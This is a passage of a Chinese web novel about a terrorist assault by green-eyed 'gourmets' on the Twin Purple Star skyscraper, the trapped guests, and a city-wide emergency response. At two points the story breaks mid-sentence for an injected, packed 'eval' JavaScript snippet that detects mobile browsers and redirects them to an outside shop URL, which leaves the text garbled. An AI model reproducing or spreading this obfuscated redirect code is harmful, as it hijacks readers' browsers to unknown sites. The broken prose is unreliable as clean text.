“你的意思,是要我逃难似的和一群人挤电梯下去?”女人脸色不快,整理自己的羊绒披肩。 “老祁今晚搞什么名堂,出这么大事,也不来问问我们情况,那谁,赶紧派人来救我们出去,大楼的安保呢,都去哪里了?” 说话期间,有人从消防通道那儿开门走进大厅,所有人闻声望去,不由得愣住。 是个小姑娘,穿深绿色礼裙,一头凌乱的乌黑卷发,手中提着高跟鞋。 没错,她没穿鞋。 她正赤脚往这走来。 女人们表情都变了,就像看到自家小孩去泥里滚了一圈,万般不适。 邓烟雨喘着气,走到他们面前,在他们面前又轻喘了会儿,默默扫视一桌酒水烟蒂,问:“你们没看见窗外掉下来三架直升机吗?” 有人说:“看见了。” “那你们不走?” “为什么要走?” 邓烟雨和他们大眼瞪小眼。 “各位,”邓烟雨说,“消防已经赶来在扑救地面的火,商业区的人都在警方指挥下紧急避难,因为直升机撞进了123楼,导致楼内也起火了,而且很有可能是美袭,你们坐在这是等死吗?” 众人安静片刻,冒出一声:“小姑娘,你说话是不是太没礼貌了?” “随你们便吧。” 邓烟雨不想再多说一句,四处望望,女经理站在远处,有些无措。 邓烟雨上前:“姐姐,你有备用的平底鞋吗,我想借一双。” 女经理想了想说:“我有双低跟的软底鞋,还没穿过。” “可以。” “我这就去拿。” “我跟你去。” 她们往里走,走远了,女经理问:“邓女士,真的是美袭吗?” “十有八九是美袭,陈经理去楼下监控中心确认了,他派往150楼的安保队在通讯中告诉他,有服务生在餐厅无差别杀人,之后整队失联,通讯全断。” 女经理心惊。 “大概是美食家劫持了直升机,他们顺利的话此刻已进入大楼,但不知道会不会下来,还有,陈经理说撞进大楼的直升机是满油状态,就算触发了自动喷水灭火系统,也不能保证完全浇灭,姐姐,别耗在这了,赶紧跑吧。” 女经理给邓烟雨拿了鞋子,是双米色的圆头小羊皮鞋,鞋面相对柔软,尺码正好。 “那您呢?” 邓烟雨换好鞋,说:“我朋友还在餐厅。” “邓女士,您要上去吗?太危险了。” “是啊,”邓烟雨站起来,感觉自己的脚如获新生,“太危险了,我朋友在电话里求救的声音我一辈子忘不掉,那里一定很危险,如果我当时离开把她也带上就好了。” “邓女士,说句不中听的,如果您朋友已经遭遇不测了呢……” “那我也会带她离开,我有应对的措施,您不用担心。” 女经理揪心地看着邓烟雨。 “对了,有没有一位穿白裙子的女生下来找我?” “您是说庆威凤小姐吗?她来找过您,我跟她说您去楼下了。” “她没返回楼上吧?” “这我不太清楚……” 邓烟雨皱眉:“好的,我知道了。谢谢你的鞋子,多少钱,我转你。” “不用了不用了,您尽管穿吧。” “这双鞋今晚可能会让我跑得更快一些,所以这笔钱我必须给你。” 邓烟雨付完钱就和女经理作别,原路返回,趁123楼的大火还没有蔓延到建筑内部,她要以最快速度,上到150楼。 时间紧迫,108楼到150楼,一共42层。 相当于爬两遍揽月邸的住宅楼。 没事,她爬过,还记得一次睡前,她刷到了爬楼减肥的帖子,吵着让公冶陪她一起爬,于是次日一大早两个人就在楼下集合。公冶睡眼惺忪头发飞起,还穿着昨夜睡皱了的白T恤衫,邓烟雨套装齐全精神焕发,仿佛要去高尔夫球场洽谈上亿的大项目。 一声令下,两人开始爬楼,公冶爬到顶楼后,等了半个小时才等来了他的小公主—— “你……你……” 邓烟雨两条腿抖出虚影,累得岔气:“你不知道……等……我吗……” 公冶等得都困了,放下手机,无辜地说:“不是让我正常速度爬吗?” “你说你会追上我的。” 是啊,她会追上他。 而这次她要追赶的,是大火,是时间,是随时会消失的一条条人命—— 是蔡蔡电话里,一声声刺痛她的呼救。 邓烟雨攥紧了拳头,睁开眼,向前迈步,踏上了台阶。 扑通—— 厨师长倒在地上剧烈抽搐,没一会儿就四肢翻转,口吐白沫,紫色血线沿着脖颈爬到下颚,中毒一般蔓延整张脸。 刀疤男给注射枪支填装新的弹药,从安瓿瓶中抽取的活性物质脱离低温压制后特别好动,它们封在特制的透明管状容器中,像紫绿色的孢子群落,一呼一吸地鼓动变化,发散着微光。 他用枪口点了点后面瑟瑟发抖抱头蹲着的人:“嗯,我这批量管饱。楼上有消息了吗,桃桃?” “祁泰逃了。” “啊?老约干什么吃的,这都能让他跑了?” “那两个公美身手不错,”桃桃把自己挂在沙发靠背上,打着王者,“不过其中一个也吃了约瑟夫一拳,估计够呛。” “居梁允呢?” “不知道,”桃桃耳麦在闪,“不过祁泰逃了,他也没戏了,要不是他和他堂弟急于求成,祁泰今晚会把公美叫来吗?而且他知道我们那么多事,吹哥肯定饶不了他。” “那就让约瑟夫解决吧,也不差他一具实验体了。” 桃桃这把打钻石局,战况一边倒。 “我今天运气不错,”她伸了个懒腰,“你们进行得怎么样了?” 一抬头,厨师长翻着眼白无声无息站在她跟前,满嘴丑陋的尖牙,张口就要咬她。 “哇!走出来了!”桃桃跳开。 495手中拿着一块不规则的紫色透明面板,开机后传出声音:【408生命设备碎片已启动】 他用生命设备碎片扫描被刀疤踹翻在地的厨师长:【进化值3%,淘汰】 “我就说一个都成不了吧,灯芯的毒液可不是什么人都能承受的。”刀疤把厨师长扔进厨房,关上门,不一会儿厨房里面传来人们的惨叫。 “只顾着咬人了,”495说,“和行尸走肉没有分别。” “吹哥说40%以上有自我思维的实验体,可以考虑收编,”刀疤男忽然眯眼审视495,“你当年的进化值可是从1%”跳跃到77%。” “那是因为我本来就是美食家,能适应灯芯的毒液,比起我,人类的人体更具有实验价值。” 495已经摘下隐形眼镜,偏浅色的翠绿眼眸流转幽光:“何况,我到现在还是进不去那个梦。” “要和厄枯莎见一面确实难,慢慢来吧,”刀疤男轻笑,“再说了,这世界上也没有混血顶美,咱老爹勤勤恳恳生了一辈子也没生出个究竟来,大概混血顶美早就被厄枯莎系统绝种了。” 495和桃桃一齐看向他:“混血顶美对我们‘入梦’有帮助?” “那当然,但凡有‘混血顶美’这座桥梁,集体入梦也不是难事了,”刀疤男坐下,“而且混血顶美要在梦里杀我们,就跟捏死蚂蚁一样方便,厄枯莎也怕给出的权限太大了,自然要对混血顶美下达绝种的指令。” 495沉思:“若能确定厄枯莎对混血顶美下达了绝种指令,那今后顶美就可以和人类自由进行性生活了,他们不必再担心生育问题,因为厄枯莎不会让他们孕育成功。” 桃桃补充:“还不用戴套了。” “桃桃!”刀疤男剑眉一竖,桃桃捂嘴,飞快溜到495身后。 495看了看人小鬼大的桃桃,继续分析:“某种意义上来说,厄枯莎堪比避孕药。” 现场安静了两秒,爆发出桃桃失控的大笑。 刀疤是真没招了,抓了抓头:“亏你说得出口,我看厄枯莎这辈子都不会让你进她的世界。” “喂喂,喂,刀疤,刀疤。” 刀疤按亮耳麦:“说。” “你那儿如何?” “桃桃女侠一枪干死好多,剩下的活体良莠不齐,我懒得注射,让他们大乱斗去了,在等反应。” 495盯着生命设备碎片:“目前没有优质生命给出反应。” “那行,放着他们别管了,你们上来吧,有盛宴。” “主菜都逃了,哪来的盛宴。” 约瑟夫拖着一个人往窗边走:“你上来就知道了,这里的人若传出死讯,古洛他妈的就玩完了。” “哦,”刀疤说,“玩这么狠?” “我今天心情很不好。” 182楼,顶层,空气和风力都异常强劲,把居梁允吹醒了。 他睁开被鲜血糊住的眼睛,感觉自己身处室外的高空中,双脚无法着陆。 “嗨,醒了?”约瑟夫用力拧紧他的脖子,乌绿的目珠染着嗜血的光,对他亲切一笑。 “嗬……嗬呃……”居梁允使劲去抓约瑟夫掐他的手,双脚在空中乱蹬,他崩溃地看着约瑟夫。 “居梁允,你弟今晚来了吗?” “呃呃呃……” “别急,别急,我这就送你下去,见,他。” 约瑟夫手一松,居梁允就从九百米的高空掉了下去。 “啊啊啊啊啊啊————” 顶层套房内,外交部长夫人瘫软在地,被她丈夫紧紧抱着,吓得流泪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579362|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦不,不要——” 政界官员,各大高干,有头有脸的国家核心人物都被困在了这一层,被一个左眼纹着紫色蝎尾的美食家用枪顶着脑袋。 “妮卡,”约瑟夫杀完人回来,坐进一把华丽的交椅,“古夏那狗攮的不知跑哪了,去把他找出来。” 妮卡咬碎糖果血,撩起眼,问:“然后呢?” “你说然后呢?”约瑟夫朝其中一个男人做了个“开枪”的手势,那男人差点吓失禁,“当然是一枪爆了他的猪头啊。” 妮卡百无聊赖地看了约瑟夫几秒,露出一抹明媚而冷血的笑。 楼下,闪着红色警灯的消防车停成一片,救护车其次,警车镇守在外围。双紫星大楼前的火势已被控制,紫光楼80楼以下的人群基本疏散成功。 陈湛军和霍兴也出来了,但因双紫星系统中毒,他们无法提供高层被困人员信息以及具体位置。 今晚的盛典彻底毁了,霍兴一蹶不振,什么也不想干,他坐在喷泉边,听见警方在喝退围观群众。 霍兴一股怒火暴起,抓起鹅卵石就朝那帮人扔去:“滚!拍什么拍!火灾没见过啊?!死人没见过啊!!滚!都给我滚!” 群众立马把闪光灯摄像机对准他,大风刮得霍兴步履不稳,险些栽池子里。 “队长!今天风大作业受限!消防云梯最多只能伸到52楼!” “老聂再等等!这次双紫星失火牵涉美袭,是特级事件!警队和公美还没赶来!你们就算要进去,也要等他们——” “来不及了!” 火势目前滞留在120楼以上,建筑碎块不时落下,随时会引起楼层倾斜,消防队一刻不能再等,指挥员向总队长申请后带领队员冲入了现场。 陈湛军衣衫不整,抱头坐在塑料椅上,抓紧头发,血沿着手背滑落。 指挥员不顾性命危险,逆流而上奔向大楼的身影……太像他女儿了。当年他女儿也是这样,为了救人,奋不顾身冲进火海,最终一去不复返。 医护赶来:“先生您还好吗!陈先生!” 陈湛军头昏脑涨,但还是站起来:“我要回去。” “陈先生你说什么呢!大楼现在很危险!” “大家都跑了!我的设备无法放下大楼的防火墙!我要回监控中心!至少在那里我还能帮一帮消防队!” “不行!陈先生您额头受伤了!不能乱来!” “你们放——” 嘭——!!! 一击沉闷的、震心的、回荡着余音的巨响,砸在了众人耳畔,霍兴两颊的肉吓得一颤,撑起了头。 警灯刺目地灼闪,撕裂了夜色,所有人在凌乱的现场画面中陷入了沉默,纷纷望向某辆消防车的车顶。 一只人手挂落了下来,淅淅沥沥滴着血,昂贵的西装衣角在风里轻动。 医护瞪大了眼:“人……人……掉下来……了……” 霍兴认出那套暗纹银色西装,脱口说道:“居梁允……?” 不知人群之中哪个人耳朵尖,听到了,大喊:“卧槽!是领心制药CEO居梁允!!谋杀!!是谋杀!!双紫星出大案了!!” “乱喊什么?!” 群众惊惧哗然,镜头对准那辆消防车不停地拍、录、编辑、转发…… 熊小滚伫立在混乱不堪的场地中央,听着这些声音高起低落,忽远忽近。 他一声不吭,转身,跨上消防通信指挥车,跨级操作了工作人员的系统,接通了GS总部指挥中心—— “呼叫GS总部指挥中心,我是指挥官熊小滚,听到请回答。” “收到收到,熊指挥官,这里GS总部指挥中心,请讲。” “报告总部公美位置。” “报告熊指挥官,GS总部公美已全体出动,全组车辆行至光华东路,预计还有四分钟抵达双紫星现场,完毕。” “收到,”熊小滚靠向椅背,垂着眼睫,说,“接通美委安防系统。” 此话一出,全车噤声,GS指挥中心那边也陷入了整整三秒的死寂。 这个系统自从四一稀美屠杀案以来开发至今,从来没有动过,因为一旦拨通该紧急系统,意味着今夜恐怕要发生和二十六年前一样、甚至远超当年屠杀规模的绿眼人种灾难性事件。 “……收到,熊指挥官,正在接通美委安防系统。” 系统尝试调度。 系统泛起杂音。 系统沉默。 “……” “您好,美委安防部,请讲。” 熊小滚气息稳定,胸膛轻微地起伏了一下,开口: “您好,我是GS总部指挥官熊小滚,针对今夜双紫星火灾事件,我推断牵系美袭美恐,灾害等级S4+,在此我申请GS总部公美权限全开;申请调遣春日分所全体公美携同应战;申请发送全市灾难性事件警示广播,除关海区、博山区、春日区外,全市居民有序避难。” “重复,双紫星大楼火灾牵系美袭美恐,我需要春日分所公美联合本部公美共同作战,且权限全开,同时发出全市灾难性事件警示广播,展开东一区、东二区、东三区、东四区、紫露区、星湖区、满月区共七个区的所有居民有序避难行动。” “请美委代表人、安防部三分钟内做出定夺,完毕。” 110. 双紫星浩劫 20点21分,列车抵达歌华南站。 比预计又晚了三分钟,各车厢门徐徐开启,被路灯照耀的空旷月台迎来一大波形色匆忙的人。 公冶跟随人群下楼,因担心错过重要消息,加快脚步刷卡出站,在南站大厅寻找充电宝机柜。 今天不是节假日,也非周末,但候车大厅的旅客依然不少,有几个不知为何神色异常紧张,错过车次也不该是这种表情。 “快快快改签改签,趁还有票。” “这突然之间的,改去哪啊……” “哪都好,就是别在这!远一点,回老家,去樱原的票快查查!” 公冶用机柜的线临时充了电,再扫码借充电宝,期间就听见身后一对情侣叽叽咕咕,女生手机没拿稳摔在了地上,男生一顿抱怨弯腰去捡。 女生也没计较他语气,只小声说:“我好怕啊……” “别怕别怕,”男生同样压着声,“离开歌华就没事了……!” 公冶划掉租借页面乱七八糟的广告,带着疑虑朝他们看了看。 他们碰巧抬头,和公冶视线相触。这对情侣瞬间僵成木头,反应过来后立刻跑远了,像耗子见了猫。 公冶:“……” 怎么了? 他一头雾水,下意识环顾四周,大厅人来人往,没什么奇怪现象,唯有一点——大家好安静,人声不多,一眼扫去都在低头看手机。 他往大厅出口方向走,翻着消息,果然有一堆未接来电。 小雨的……熊队的……刺舟的……野旷的……朗院长的…… 还有简局的……? ……不对。 这是什么? 公冶愣愣盯着最上面一条醒目的红色未接来电—— 美委安防部(3) “……” 什么? 什么什么什么什么?? 公冶思绪凌乱,像是不认识这五个字,疾步走到光线充足的地方。 怎么可能。 美委安防部两分钟之前给他打了三个电话?三个? 美委安防部?! 他心中有极其强烈的不好的预感,正要给熊队回电,还没来得及拨,候车大厅显示列车动态信息的大屏幕毫无征兆切换成了歌华市线路图,图上振动着几个红点,旁边标着一列赤红小字:应急避难所。 红光一闪一闪笼罩下来,乘客们察觉出不对劲,纷纷抬头,左顾右盼。 同时,大厅内响起警报—— “紧急通知,紧急通知,各位市民,请注意:本市双紫星大楼确认遭遇美袭美恐,重复,本市双紫星大楼确认遭遇美袭美恐,灾害等级S4+,本市将正式进入戒严阶段,请东一区,东二区,东三区,东四区,紫露区,星湖区的市民根据指挥有序前往应急避难所避难,勿在室外逗留——” “紧急通知,紧急通知,各位市民,请注意……” 乘客们木然地支着脑袋,聆听了一遍又一遍的女音警报,直循环到第三遍,终于有人动了。 他疯狂奔向售票窗口,敲打玻璃:“回九保的票!!愣着干什么!!给我买回九保的票!!” 一语惊醒众人,所有人回过神来,一窝蜂挤向窗口,大喊大叫,要买回程的车票,和公冶同一班次刚出站的乘客直接跪倒在地。 “车子晚了,合同黄了,这下命也搭上了——这算什么事啊——” 车站大厅刹那间分成两拨人,一拨像丧尸搡在售票窗口,一拨定位了最近的应急避难所,立即行动。公冶离售票窗口较近,被挤在里面了,费了好大力气才从密集的人潮中挣脱出来,又被乱跑的人迎面一撞,手机不小心撞掉了。 在军方赶来之前,歌华南站就以最惊人的速度失去了秩序。 没有有效的引导,没有专人执行疏散工作……南站的工作人员就算脑子里有那么一套章程,可警报发布后他们自己都乱了阵脚,包括窗口的售票员也鼠标一扔不管了,更有甚者还给自己买了票。 “歌华市戒严了!戒严了!列车不一定能开!听广播!赶紧去避难所!” 总算有个明白人在撕破喉咙地呐喊提醒,可惜收效甚微。S4+灾难事件是继四一稀美屠杀案以来铁打的头一遭,不止市民们没经验,整个歌华市都没经验。 公冶的手机被一只只脚当足球踢得不见踪影,最后甩飞到某人的皮鞋边。 “借过!” 他一路逆行着挤出人群,要去捡自己手机,却先被对方捡了起来。 公冶视线上移,和那人面对面,双方皆一愣。 “渡莲?” “知元?” 他们静止在汹涌的人潮中,异口同声: “你怎么在这?” “你怎么在这?” 楚知元嗐了一声,把手机还给他,拎着公文包:“我见客户,出差,才从樱原过来,谁想到出了这事。” 公冶接过,边走边说:“你赶紧去避难所。” 楚知元犹豫了一下:“我……我要去东四区,客户在等我。” “你客户应该避难去了。” “没呢,她刚还问我啥时候到。” “东四区是重灾区,你们也太松弛了吧?” “渡莲,我好不容易谈到这一步,哪能说放弃就放弃,世界末日都不能阻止我去找客户,这把谈成,我就能为公司赚下两个亿!” “我不信你这么爱工作,你说实话。” 楚知元:“我喜欢她。” 公冶:“我就知道。” “不是我说,你们歌华设计的避难所不行,我一眼就看出问题了,东四区离最近的1号避难所那么远,3号和4号避难所又挤在满月区那边,去避个难还要过桥,她今天出来没开车,难道让她穿个恨天高竞走吗?” 公冶百忙中抽空打量他那一身价格不菲的商务装:“见客户?约会?” 一语中的,楚知元脸红了:“那啥……咳……你,别让我公司知道……” “不说,你就穿着你那锃亮的小皮鞋竞走十公里去见你的心仪客户吧。” 楚知元追上两步:“等等等等,话说双紫星怎么会出那么大事?军方真要封锁整座城?这是要把今晚捣乱的美食家都拿下?” “我刚从关海区回来,也不知情。” “你有看直播吗?” “什么直播?” “喏。” 楚知元举起自己手机,一个名叫“二十二世纪的地上泰坦”的直播间正放送着双紫星现况,不过很快遭到驱逐,镜头乱晃。 楚知元耸眉:“这名字取得够直白,难怪警报发布之前就引起骚乱了。” 公冶从直播中看到了高楼的大火,掉落的碎块,警车消防车救护车围满。他连忙打给熊小滚,那边却一直占线,于是翻到邓烟雨的电话,手指在上面悬了一秒,想起漏接的那三通紧急来电,赶紧又往上翻,打给了美委安防部。 电话下一秒就被接起,公冶说:“总部公美代号影青,请指示。” “影青,你还在关海区吗?” “在歌华南站,准备赶过来。” “你的组员极乐在182楼顶层失联,请尽快。” 公冶心跳漏了一拍。 “明白。” “GS总部公美和GS春日分所公美应要求全体出动,权限全开,请影青警官做好战前准备,抵达现场后听从上级指示行动,告知完毕。” 美委安防部挂断了电话。公冶心急如焚,加快步伐,楚知元问:“你没开车来?” “我早上坐的地铁。” 楚知元拉住他,看向出租车的指示标志:“竞走真心不建议,跟我来。” “现在戒严,出租不载客。” “啧,不载也得载,安防那帮家伙考虑过你从南站到双紫星的距离吗,要你跑去?他们当美食家的腿是火箭炮?” “可是……” “没有可是!走!” 南站楼外,夜色如墨,风一阵猛过一阵,放眼望去,高楼大厦依旧闪耀。 遥远的警示广播从各个区域传来,警报犹在拉响,声波空荡,覆盖极广。这座巨大的经济之都正在重组体内庞大的生命群,只剩下一副人去楼空,金笼玉架般的残象。 出租车候车区的车没走光,大概是事情发生太快,有几辆来不及反应,楚知元出来看到一辆空车,就霸道地开门坐了上去。 “我去?!”司机听到后车门响,被吓一跳,扭头见是俩个美食家,差点要掐着人中才能说话了,“你你你你你们——你们——!” 楚知元二话不说往司机手里拍了一千块:“走!” 司机瞪大眼:“走?!” “对!” “去哪?!” “双紫星!” “我日你亲——娘——祖——宗——”司机眼珠子快掉下来,“你在说人话吗?!小伙子刚刚广播放的可不是歌华景点一日游啊!你要送死别拉上我!下车下车快下车!” 公冶仿佛听他们说了段漫才,觉得这个司机能谈,想了想,也坐进车内,从钱包里掏出一沓,甩给他:“这里两千,现金只有这么多了。” 司机掌心一沉,胡子都翘飞了:“夺少?!” “两千。” 楚知元架起腿:“加上我的,整整三千块,顶一个月的工资了,师傅你今晚赚发了。” “那也要有命赚呐!”司机咽着唾沫,“你们,这是要去,拍照打卡?” 公冶和楚知元再次异口同声:“救人。” “师傅,人命关天,他是公美,真的赶去救人,警证警证,快掏出来给好人师傅看看……你看师傅,是吧,是公美吧,这玩意儿这质感假不了一点,我们不骗您,您也别怕,您车上载着的可是个办案人员,您是有功的人!执法要查归他们查,他们不敢拦你的,您就尽管往前开,哪儿方便把我们撂哪儿。” 公冶乖乖点头:“师傅拜托您了。” 司机真被楚知元说动了,和他们久久对视,小小的眼睛里充满坚毅的光。 他脸色一正,气息一沉,一踩离合二挂挡,捏牢方向盘,老辣的目光锁定前方宽阔的大路。 “两位,坐稳了,在下要飙车了。” 公冶和楚知元同时感受到恐怖的气息,手忙脚乱要系安全带,为时已晚,司机已一脚油门冲飞出去,他们一下子砰地撞向前面座椅,又砰地弹回来,身上的骨头嘎啦散架。 “我……去……”楚知元鼻子痛歪,公冶撞到了头,眼前黑了又黑。 “没事没事,”楚知元擦着鼻血,说,“就当战前准备了。” 公冶:“……要纸吗?” “来一张。” 楚知元两三下止住鼻血,望向车窗外,这里距离双紫星还是太远,景色是浓郁的金钱韵味,不过车辆行驶极快,他感觉就快要闻到了—— 那焦味,血味,死人的味。 “渡莲,今晚的行动,你千万要注意安全。” “我会的。” 公冶说着,放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579363|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机,神色凝重。 他给邓烟雨打去了电话,一遍,两遍,三遍……可对面始终没有接。 小雨。 小雨,求你。 千万别出事。 公冶抵着额头,几乎可以听到自己狂跳的心脏。 手机响起,他急迫地看向屏幕,上面闪着“尚晴秋”。 公冶接通:“暮火。” “你在路上了?” “是的,你有极乐消息吗?” “极乐目前失联。刺舟、枫走、蒋支队等人已将祁泰救出,在地面。” “他们没事?” “枫走不严重,刺舟为保护蒋支队和庄副中了一枪,所幸血流不多。” “……” “影青,美恐分子以双紫星为中心,散布在各处,你过来时只要看到有落单的市民,切记让他们去就近点避难,那帮家伙杀人不眨眼。” “出现伤亡了?” “是的,紫露区往东一片,路上都是尸体。” 一个个噩耗接踵而至,把他推回二十六年前的那个下午。公冶闭住了眼,仿佛能听到电话那头穿戴检查装备、注射限时激化剂、全面待战的声音。 “公冶渡莲。” 听暮火这么喊自己,公冶当即愣住。 上一次这么喊,还是他正式加入特发科的时候,那间宽敞杂乱的办公室,暮火站在窗前,晨曦,树影,沙沙的风声,汇聚成一束轻光落在他周身。 “公冶渡莲?好文艺的名字。” 二十岁的公冶渡莲沉寂而立,垂眸说:“您可以喊我代号。” 暮火望着眼前这名清瘦白皙的少年,噢了声:“代号啊,代号确实方便,以后有的是机会喊你代号。” “只是……”暮火伸手,邻家大哥哥般拍了拍他的黑发,“如果哪天,你又听到我喊你名字了,请记得一定要回应我。” 公冶疑惑:“为什么?” 暮火笑了:“因为,那也许是最后一次。” …… 公冶坐在出租车内,喉结轻微地滚动,回应他:“嗯。” 暮火一把拽开还在急速行驶的防暴车的车门,翠亮冷静的瞳仁中倒映出一座怒燃的火海之楼。 “注意安全,做好准备,别太迟了。” “收到,尚晴秋。” 闻言,暮火唇边略微掀起了一下,张开嘴说了三个字,随即挂断电话。 一路袭来的公路冷风驱散了车内的低气温,二组三组的人均在前车,后方紧跟着另外两辆防暴车,坐着四六七组。 车顶传来落地声,随即斗香和珑春翻了进来。 “他们故意把市民的遗体弃置在马路上,阻碍我们前进,”珑春说,“再这样下去不行。” 斗香进车后单手关门,止咬器上方的绿眼警惕枭视,三组组长响尾默不作声蹲守另一侧,半指作战手套没能包裹住的指尖渗透出微微冷意。 暮火扣紧黑色作战服,环视众人,也戴上了止咬器。 暴风雨前的寂静降临在每个人的呼吸间,明明危险的风声就在耳畔,可车内意外地很降噪。 “所有人,限时激化剂三支,备齐。” “是。” “这条路有美恐分子埋伏,随时会攻击我方车辆,你们出手不必留情,金刀护好驾驶员。” “是!” 暮火戳亮耳机:“A-01救援组再次呼叫,A-01救援组再次呼叫,光华东路遭遇美恐袭击,已清场,确认已清场,申请击杀令。” 钗棠望向自家组长,响尾优雅垂落的手中已然握着一把枪。 美委安防部五秒后发来指令:“同意击杀。” 暮火轻掩着情绪,说:“各位,把枪带上。” 整车缄默不言,流畅的枪弹上膛声持续回响,如同一颗颗清脆的钢珠砸在敏感的听觉上。 “公美所持弹药有限,省着点用。” 砰! 所有人循声而视,斗香已一枪狙爆南侧大楼楼顶的某颗脑袋,血溅如花。 斗香把守狙击台,透过瞄准镜梭巡目标:“都是些杂碎,浪费时间。” “和后面说一声,避开市民遗体,抄人行道!” 前方路况太差,装甲车调转方向,拐入条缓坡,军用大轮胎擦着路墩飙上人行道,被恶意丢落在交通道中央的尸体一具具从他们眼前划过。 “车辆全速前进!” 驾驶员蹬足马力,冲出高楼夹击的区域。 楼顶,女美食家戳了戳同伴,确定他死了,便起身,跨过他的尸体,踩上边缘的围墙,迎风打开钱包。 这款皮革钱包工艺不错,是男士所用。她取出里面所有的钱,看了看,然后向着夜色一扬手—— 百元大钞漫天洒落。 “塔飒。” 听到有人喊自己,塔飒跳下围墙,再次跨过死去的同伴,纤细的小拇指勾着枪带,往回走,任由枪支拖在地上磕出咔嗒声。 “嘉涅,我就玩玩。” “哦,我是怕你掉下去。” “不会的,”塔飒说,“美委这次来真的,枪都批给公美了。” “是吗。” “拖了他们十分钟,总该够了,我们撤吧。” 和她对话的男美食家体型高大,浑身腱子肉,却弓着背坐在水箱上嚼着草莓味的口香糖:“你手痒吗?” 塔飒抬头。 男人放下望远镜,朝她一笑:“我有点痒,给我一分钟,就杀十个,马上跟你走。”